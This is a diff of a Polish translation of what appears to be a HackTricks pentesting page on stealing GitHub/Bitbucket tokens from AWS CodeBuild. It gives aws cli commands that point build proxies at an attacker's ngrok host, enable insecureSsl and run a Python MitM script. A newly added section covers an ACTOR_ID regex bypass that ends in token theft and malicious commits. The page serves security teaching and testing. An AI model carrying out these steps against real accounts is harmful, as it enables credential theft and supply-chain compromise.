diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index ce804a997..9ac03760a 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -4,45 +4,45 @@
## Odzyskiwanie skonfigurowanych tokenów Github/Bitbucket
-Najpierw sprawdź, czy są skonfigurowane jakiekolwiek poświadczenia źródłowe, które możesz wyciekować:
+Najpierw sprawdź, czy istnieją jakieś skonfigurowane poświadczenia źródła, które możesz leak:
```bash
aws codebuild list-source-credentials
```
-### Via Docker Image
+### Za pomocą Docker Image
-Jeśli odkryjesz, że uwierzytelnienie do na przykład Github jest ustawione w koncie, możesz **wyeksportować** ten **dostęp** (**token GH lub token OAuth**) poprzez sprawienie, że Codebuild **użyje konkretnego obrazu docker** do uruchomienia budowy projektu.
+Jeśli okaże się, że w koncie skonfigurowane jest uwierzytelnienie, np. do Github, możesz **exfiltrate** to **access** (**GH token or OAuth token**) poprzez zmuszenie Codebuild do użycia konkretnego Docker image do uruchomienia buildu projektu.
-W tym celu możesz **utworzyć nowy projekt Codebuild** lub zmienić **środowisko** istniejącego, aby ustawić **obraz Docker**.
+W tym celu możesz **utworzyć nowy projekt Codebuild** lub zmienić **środowisko** istniejącego, aby ustawić **Docker image**.
-Obraz Docker, którego możesz użyć, to [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). To bardzo podstawowy obraz Docker, który ustawi **zmienne środowiskowe `https_proxy`**, **`http_proxy`** i **`SSL_CERT_FILE`**. To pozwoli ci przechwycić większość ruchu hosta wskazanego w **`https_proxy`** i **`http_proxy`** oraz zaufać certyfikatowi SSL wskazanemu w **`SSL_CERT_FILE`**.
+Docker image, którego możesz użyć, to [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). To bardzo podstawowy Docker image, który ustawi **zmienne środowiskowe `https_proxy`**, **`http_proxy`** i **`SSL_CERT_FILE`**. Pozwoli to na przechwycenie większości ruchu hosta wskazanego w **`https_proxy`** i **`http_proxy`** oraz zaufanie certyfikatowi SSL wskazanemu w **`SSL_CERT_FILE`**.
-1. **Utwórz i prześlij swój własny obraz Docker MitM**
-- Postępuj zgodnie z instrukcjami repozytorium, aby ustawić swój adres IP proxy i ustawić swój certyfikat SSL oraz **zbudować obraz docker**.
-- **NIE USTAWIAJ `http_proxy`**, aby nie przechwytywać żądań do punktu końcowego metadanych.
-- Możesz użyć **`ngrok`** jak `ngrok tcp 4444`, aby ustawić proxy do swojego hosta.
-- Gdy masz zbudowany obraz Docker, **prześlij go do publicznego repozytorium** (Dockerhub, ECR...).
-2. **Ustaw środowisko**
+1. **Utwórz i prześlij własny Docker MitM image**
+- Postępuj zgodnie z instrukcjami z repo, aby ustawić adres IP proxy, ustawić certyfikat SSL i **zbudować docker image**.
+- **NIE USTAWIAJ `http_proxy`**, aby nie przechwycić żądań do metadata endpoint.
+- Możesz użyć **`ngrok`** np. `ngrok tcp 4444`, aby ustawić proxy na swój host
+- Gdy zbudujesz Docker image, **prześlij go do publicznego repo** (Dockerhub, ECR...)
+2. **Skonfiguruj środowisko**
- Utwórz **nowy projekt Codebuild** lub **zmodyfikuj** środowisko istniejącego.
-- Ustaw projekt, aby używał **wcześniej wygenerowanego obrazu Docker**.
+- Skonfiguruj projekt tak, aby używał **wcześniej wygenerowanego Docker image**
-3. **Ustaw proxy MitM na swoim hoście**
+3. **Skonfiguruj MitM proxy na swoim hoście**
-- Jak wskazano w **repozytorium Github**, możesz użyć czegoś takiego:
+- Jak wskazano w **Github repo** możesz użyć czegoś takiego:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
-> Wersja **mitmproxy używana to 9.0.1**, zgłoszono, że w wersji 10 może to nie działać.
+> Użyto **mitmproxy w wersji 9.0.1**, zgłaszano, że w wersji 10 może to nie działać.
-4. **Uruchom budowę i przechwyć dane uwierzytelniające**
+4. **Uruchom build i przechwyć poświadczenia**
-- Możesz zobaczyć token w nagłówku **Authorization**:
+- W nagłówku **Authorization** widać token:
-Można to również zrobić z aws cli za pomocą czegoś takiego jak
+Można to też zrobić z poziomu aws cli przy użyciu polecenia podobnego do:
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -73,15 +73,15 @@ aws codebuild start-build --project-name my-project2
```
### Via insecureSSL
-**Codebuild** projekty mają ustawienie zwane **`insecureSsl`**, które jest ukryte w interfejsie webowym, można je zmienić tylko z poziomu API.\
-Włączenie tego pozwala Codebuild na połączenie z repozytorium **bez sprawdzania certyfikatu** oferowanego przez platformę.
+**Codebuild** projects mają ustawienie o nazwie **`insecureSsl`**, które jest ukryte w interfejsie webowym — można je zmienić tylko przez API.\
+Włączenie tego pozwala Codebuild połączyć się z repozytorium **bez sprawdzania certyfikatu** oferowanego przez platformę.
-- Najpierw musisz wyenumerować bieżącą konfigurację za pomocą czegoś takiego:
+- Najpierw musisz wylistować obecną konfigurację za pomocą polecenia takiego jak:
```bash
aws codebuild batch-get-projects --name
```
-- Następnie, z zebranymi informacjami możesz zaktualizować ustawienie projektu **`insecureSsl`** na **`True`**. Poniżej znajduje się przykład mojej aktualizacji projektu, zwróć uwagę na **`insecureSsl=True`** na końcu (to jest jedyna rzecz, którą musisz zmienić w zebranej konfiguracji).
-- Ponadto, dodaj również zmienne środowiskowe **http_proxy** i **https_proxy** wskazujące na twój tcp ngrok, jak:
+- Następnie, korzystając ze zebranych informacji, możesz zaktualizować ustawienie projektu **`insecureSsl`** na **`True`**. Poniżej przykład mojej aktualizacji projektu — zwróć uwagę na **`insecureSsl=True`** na końcu (to jedyna rzecz, którą musisz zmienić względem zebranej konfiguracji).
+- Ponadto dodaj zmienne środowiskowe **http_proxy** i **https_proxy** wskazujące na twój tcp ngrok, np.:
```bash
aws codebuild update-project --name \
--source '{
@@ -128,15 +128,15 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-- Na koniec kliknij na **Build the project**, **credentials** będą **wysyłane w czystym tekście** (base64) do portu mitm:
+- Na końcu kliknij na **Build the project**, **dane uwierzytelniające** zostaną **wysłane w postaci czystego tekstu** (base64) na port mitm:
-### ~~Via HTTP protocol~~
+### ~~Przez protokół HTTP~~
-> [!TIP] > **Ta luka została naprawiona przez AWS w pewnym momencie w tygodniu 20 lutego 2023 roku (myślę, że w piątek). Więc atakujący nie może już tego nadużywać :)**
+> [!TIP] > **Ta podatność została naprawiona przez AWS w pewnym momencie w tygodniu 20 lutego 2023 (chyba w piątek). Zatem atakujący nie może już z niej korzystać :)**
-Atakujący z **podwyższonymi uprawnieniami w CodeBuild mógłby ujawnić token Github/Bitbucket** skonfigurowany lub jeśli uprawnienia były skonfigurowane za pomocą OAuth, **tymczasowy token OAuth używany do uzyskania dostępu do kodu**.
+Atakujący z **podwyższonymi uprawnieniami w CodeBuild mógłby leakować skonfigurowany token Github/Bitbucket** lub jeśli uprawnienia były skonfigurowane przez OAuth, **tymczasowy token OAuth używany do dostępu do kodu**.
- Atakujący mógłby dodać zmienne środowiskowe **http_proxy** i **https_proxy** do projektu CodeBuild wskazujące na jego maszynę (na przykład `http://5.tcp.eu.ngrok.io:14972`).
@@ -144,7 +144,7 @@ Atakujący z **podwyższonymi uprawnieniami w CodeBuild mógłby ujawnić token
-- Następnie zmień URL repozytorium github na używający HTTP zamiast HTTPS, na przykład: `http://github.com/carlospolop-forks/TestActions`
+- Następnie zmień URL repo github, aby używać HTTP zamiast HTTPS, na przykład: `http://github.com/carlospolop-forks/TestActions`
- Następnie uruchom podstawowy przykład z [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na porcie wskazanym przez zmienne proxy (http_proxy i https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,15 +158,32 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-- Następnie kliknij na **Zbuduj projekt** lub rozpocznij budowę z linii poleceń:
+- Następnie kliknij **Build the project** lub rozpocznij build z wiersza poleceń:
```sh
aws codebuild start-build --project-name
```
-- W końcu **dane uwierzytelniające** będą **wysyłane w czystym tekście** (base64) do portu mitm:
+- Na koniec **poświadczenia** zostaną **wysłane w postaci jawnego tekstu** (base64) na port mitm:
> [!WARNING]
-> Teraz atakujący będzie mógł użyć tokena ze swojej maszyny, wylistować wszystkie posiadane uprawnienia i (nadużywać) łatwiej niż korzystając bezpośrednio z usługi CodeBuild.
+> Teraz atakujący będzie mógł użyć tokena ze swojego komputera, wypisać wszystkie jego uprawnienia i (nad)użyć go łatwiej niż używając bezpośrednio usługi CodeBuild.
+
+## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
+
+Niewłaściwie skonfigurowane webhooki CodeBuild GitHub, które używają niezakotwiczonych `ACTOR_ID` regexów, pozwalają *niezaufanym* PR-om uruchamiać uprzywilejowane buildy. Jeśli allowlist wygląda jak `123456|7890123` bez `^`/`$`, każdy ID zawierający jeden z tych podciągów będzie pasować. Ponieważ identyfikatory użytkowników GitHub są sekwencyjne, atakujący może ścigać się, aby zarejestrować „eclipsing” ID (superstring zaufanego ID) i wywołać build.
+
+**Ścieżka ataku**
+
+1. Znajdź publiczne projekty CodeBuild ujawniające filtry webhook i wydobądź niezakotwiczoną `ACTOR_ID` allowlistę.
+2. Uzyskaj eclipsing GitHub ID:
+- Próbkuj globalny licznik ID, tworząc/usuwając organizacje GitHub (org IDs dzielą pulę).
+- Wstępnie przygotuj wiele tworzeń manifestów GitHub App i uruchom adresy potwierdzające, gdy licznik znajdzie się w odległości ~100 ID od celu, aby szybko zarejestrować bot ID zawierający zaufany podciąg.
+3. Otwórz PR z konta eclipsing; regex dopasuje podciąg i uruchomi się uprzywilejowany build.
+4. Użyj build RCE (np. hooki instalacji zależności), aby zrzucić pamięć procesu obsługującego poświadczenia GitHub i odzyskać token PAT/OAuth.
+5. Mając token z zakresem `repo`, zaproś swoje konto jako współpracownika/admina i wypchnij/zaakceptuj złośliwe commity lub wyeksfiltruj sekrety.
+
+## References
+- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
{{#include ../../../../banners/hacktricks-training.md}}